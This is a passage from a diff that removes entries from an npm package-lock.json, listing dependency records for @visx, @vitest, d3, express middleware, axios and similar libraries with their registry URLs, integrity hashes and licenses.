"https://registry.npmjs.org/@visx/shape/-/shape-4.0.1-alpha.0.tgz", - "integrity": "sha512-62QeiVNmPlterQGwhkEDcbq7M0MqY0lBsK5QKXtM9ZoPZWkuGV3aykA3+Xu20B2FAvyJq4LqJzBc7Sxr+EAdbA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/lodash": "^4.17.13", - "@types/react": "*", - "@visx/curve": "4.0.1-alpha.0", - "@visx/group": "4.0.1-alpha.0", - "@visx/scale": "4.0.1-alpha.0", - "@visx/vendor": "4.0.0-alpha.0", - "classnames": "^2.3.1", - "lodash": "^4.17.21" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/vendor": { - "version": "4.0.0-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/vendor/-/vendor-4.0.0-alpha.0.tgz", - "integrity": "sha512-6I+MuqXBcv9jnlcVowHoHKSdk9gXTWkHLKyqBwRWg7LY6A3Ei8SHfubpqGV5rBUSppxMq2RszPJUS6w+H0YgmQ==", - "devOptional": true, - "license": "MIT and ISC", - "dependencies": { - "@types/d3-array": "3.0.3", - "@types/d3-color": "3.1.0", - "@types/d3-delaunay": "6.0.1", - "@types/d3-format": "3.0.1", - "@types/d3-geo": "3.1.0", - "@types/d3-interpolate": "3.0.1", - "@types/d3-path": "3.1.1", - "@types/d3-scale": "4.0.2", - "@types/d3-shape": "3.1.7", - "@types/d3-time": "3.0.0", - "@types/d3-time-format": "2.1.0", - "d3-array": "3.2.1", - "d3-color": "3.1.0", - "d3-delaunay": "6.0.2", - "d3-format": "3.1.0", - "d3-geo": "3.1.0", - "d3-interpolate": "3.0.1", - "d3-path": "3.1.0", - "d3-scale": "4.0.2", - "d3-shape": "3.2.0", - "d3-time": "3.1.0", - "d3-time-format": "4.1.0", - "internmap": "2.0.3" - } - }, - "node_modules/@visx/vendor/node_modules/d3-array": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.1.tgz", - "integrity": "sha512-gUY/qeHq/yNqqoCKNq4vtpFLdoCdvyNpWoC/KNjhGbhDuQpAM9sIQQKkXSNpXa9h5KySs/gzm7R88WkUutgwWQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/@vitest/expect": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.11.tgz", - "integrity": "sha512-VX2x5vNJXET47KAFzwERI+KRMtTTCSWTfSMKsW7JsUsXV4psq++e3DvZpuTDOpHcxytiDs6p2nhVb2tVDiiUYw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.1.0", - "@types/chai": "^5.2.2", - "@vitest/spy": "4.1.11", - "@vitest/utils": "4.1.11", - "chai": "^6.2.2", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/mocker": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.11.tgz", - "integrity": "sha512-2XJVD55d1o5AZous5CCGKS74g/riOj9odEt2bQpCVZeblHyHdnMeFl4jl0XjU21stf4mbjUkew2eXQZt65g5CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/spy": "4.1.11", - "estree-walker": "^3.0.3", - "magic-string": "^0.30.21" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "msw": "^2.4.9", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "msw": { - "optional": true - }, - "vite": { - "optional": true - } - } - }, - "node_modules/@vitest/pretty-format": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.11.tgz", - "integrity": "sha512-yiZzPbGTS9Sr/JpFl8zHrcIkAofNbFV6k21vIgQN/cY/oxZeXhJv5sc/MBJ5jFKWmWs+oJHw0UXLZjmf931+Vw==", - "dev": true, - "license": "MIT", - "dependencies": { - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/runner": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.11.tgz", - "integrity": "sha512-LztvUgdwMNJMIkj3hQnnxiC2Xy1zNxq928W/xhjCLaNCzqTZOudjwbQf6v9IntZGPw132i2Lq2rgTRZHD3JHNw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/utils": "4.1.11", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/snapshot": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.11.tgz", - "integrity": "sha512-pN7ikn1ON7h8ee4gIAp4AzyK+zBtJPzVbqOgu5LCEh4VaJVbPQcgYQYJIMGQPXVeJJq1fnfazis7a5pFNPahog==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "4.1.11", - "@vitest/utils": "4.1.11", - "magic-string": "^0.30.21", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/spy": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.11.tgz", - "integrity": "sha512-apNa/prQy2qCeywhnixOHPRCgGNhvg7T4Dapfl1GahLp/R+uhBm5cPyFoNVyqsNd2h1nJxL6BqqdIjiABL60YA==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/utils": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.11.tgz", - "integrity": "sha512-zTCVGpyFsGWBhllOyKlTw/vnr6D9qxsfSDyfbyZmTyjHw5N/VuvzHpHoQjm2ZJzn4RJgx5w4r7V0er69CmLgPQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "4.1.11", - "convert-source-map": "^2.0.0", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/accepts": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", - "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", - "license": "MIT", - "dependencies": { - "mime-types": "^3.0.0", - "negotiator": "^1.0.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - "license": "MIT", - "dependencies": { - "debug": "4" - }, - "engines": { - "node": ">= 6.0.0" - } - }, - "node_modules/ajv": { - "version": "8.20.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/asap": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", - "dev": true, - "license": "MIT" - }, - "node_modules/assertion-error": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/async-exit-hook": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/async-exit-hook/-/async-exit-hook-2.0.1.tgz", - "integrity": "sha512-NW2cX8m1Q7KPA7a5M2ULQeZ2wR5qI5PAbw5L0UOMxdioVk9PMZ0h1TmyZEkPYrCvYjDlFICusOu1dlEKAAeXBw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "license": "MIT" - }, - "node_modules/atomic-sleep": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz", - "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==", - "license": "MIT", - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/aws-ssl-profiles": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/aws-ssl-profiles/-/aws-ssl-profiles-1.1.2.tgz", - "integrity": "sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">= 6.0.0" - } - }, - "node_modules/axios": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", - "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", - "license": "MIT", - "dependencies": { - "follow-redirects": "^1.16.0", - "form-data": "^4.0.5", - "https-proxy-agent": "^5.0.1", - "proxy-from-env": "^2.1.0" - } - }, - "node_modules/base32.js": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/base32.js/-/base32.js-0.1.0.tgz", - "integrity": "sha512-n3TkB02ixgBOhTvANakDb4xaMXnYUVkNoRFJjQflcqMQhyEKxEHdj3E6N8t8sUQ0mjH/3/JxzlXuz3ul/J90pQ==", - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/bcryptjs": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/bcryptjs/-/bcryptjs-3.0.3.tgz", - "integrity": "sha512-GlF5wPWnSa/X5LKM1o0wz0suXIINz1iHRLvTS+sLyi7XPbe5ycmYI3DlZqVGZZtDgl4DmasFg7gOB3JYbphV5g==", - "license": "BSD-3-Clause", - "bin": { - "bcrypt": "bin/bcrypt" - } - }, - "node_modules/better-result": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/better-result/-/better-result-2.10.0.tgz", - "integrity": "sha512-oQhh0y1qo2/ZKdAAEvHZAqKKiHOFU5k/bW96fE2ScgQOVkJRiHwB+nOS1SgFsYqRlxMDWvefXi9Q3px7QvgNDw==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/bignumber.js": { - "version": "11.1.5", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-11.1.5.tgz", - "integrity": "sha512-6WmzCNtUnfKpbozq+hOgWaZMMzORmYBwF1xZScyoIX3QRYWeKTtxxwDOW5tIz7C9BdjkIYHGTcelCLkXg0mndw==", - "license": "MIT" - }, - "node_modules/body-parser": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", - "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", - "license": "MIT", - "dependencies": { - "bytes": "^3.1.2", - "content-type": "^2.0.0", - "debug": "^4.4.3", - "http-errors": "^2.0.1", - "iconv-lite": "^0.7.2", - "on-finished": "^2.4.1", - "qs": "^6.15.2", - "raw-body": "^3.0.2", - "type-is": "^2.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/body-parser/node_modules/content-type": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", - "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/buffer": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", - "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "base64-js": "^1.3.1", - "ieee754": "^1.2.1" - } - }, - "node_modules/buffer-equal-constant-time": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", - "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", - "license": "BSD-3-Clause" - }, - "node_modules/bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/c12": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/c12/-/c12-3.3.4.tgz", - "integrity": "sha512-cM0ApFQSBXuourJejzwv/AuPRvAxordTyParRVcHjjtXirtkzM0uK2L9TTn9s0cXZbG7E55jCivRQzoxYmRAlA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "chokidar": "^5.0.0", - "confbox": "^0.2.4", - "defu": "^6.1.6", - "dotenv": "^17.3.1", - "exsolve": "^1.0.8", - "giget": "^3.2.0", - "jiti": "^2.6.1", - "ohash": "^2.0.11", - "pathe": "^2.0.3", - "perfect-debounce": "^2.1.0", - "pkg-types": "^2.3.0", - "rc9": "^3.0.1" - }, - "peerDependencies": { - "magicast": "*" - }, - "peerDependenciesMeta": { - "magicast": { - "optional": true - } - } - }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/call-bound": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", - "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "get-intrinsic": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/chai": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", - "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/chokidar": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", - "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "readdirp": "^5.0.0" - }, - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/classnames": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz", - "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/commander": { - "version": "14.0.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", - "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/component-emitter": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.1.tgz", - "integrity": "sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/confbox": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.2.4.tgz", - "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/content-disposition": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", - "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/content-type": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/convert-source-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cookie": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", - "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie-parser": { - "version": "1.4.7", - "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.7.tgz", - "integrity": "sha512-nGUvgXnotP3BsjiLX2ypbQnWoGUPIIfHQNZkkC668ntrzGWEZVW70HDEB1qnNGMicPje6EttlIgzo51YSwNQGw==", - "license": "MIT", - "dependencies": { - "cookie": "0.7.2", - "cookie-signature": "1.0.6" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/cookie-parser/node_modules/cookie-signature": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", - "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", - "license": "MIT" - }, - "node_modules/cookie-signature": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", - "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", - "license": "MIT", - "engines": { - "node": ">=6.6.0" - } - }, - "node_modules/cookiejar": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz", - "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==", - "dev": true, - "license": "MIT" - }, - "node_modules/cors": { - "version": "2.8.6", - "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", - "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", - "license": "MIT", - "dependencies": { - "object-assign": "^4", - "vary": "^1" - }, - "engines": { - "node": ">= 0.10" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/d3-array": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", - "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-delaunay": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.2.tgz", - "integrity": "sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "delaunator": "5" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-format": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", - "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-geo": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.1.0.tgz", - "integrity": "sha512-JEo5HxXDdDYXCaWdwLRt79y7giK8SbhZJbFWXqbRTolCHFI5jRqteLzCsq51NKbUoX0PjBVSohxrx+NoOUujYA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-array": "2.5.0 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-color": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-path": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", - "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-array": "2.10.0 - 3", - "d3-format": "1 - 3", - "d3-interpolate": "1.2.0 - 3", - "d3-time": "2.1.1 - 3", - "d3-time-format": "2 - 4" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-shape": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", - "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-path": "^3.1.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", - "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-array": "2 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time-format": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", - "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-time": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - 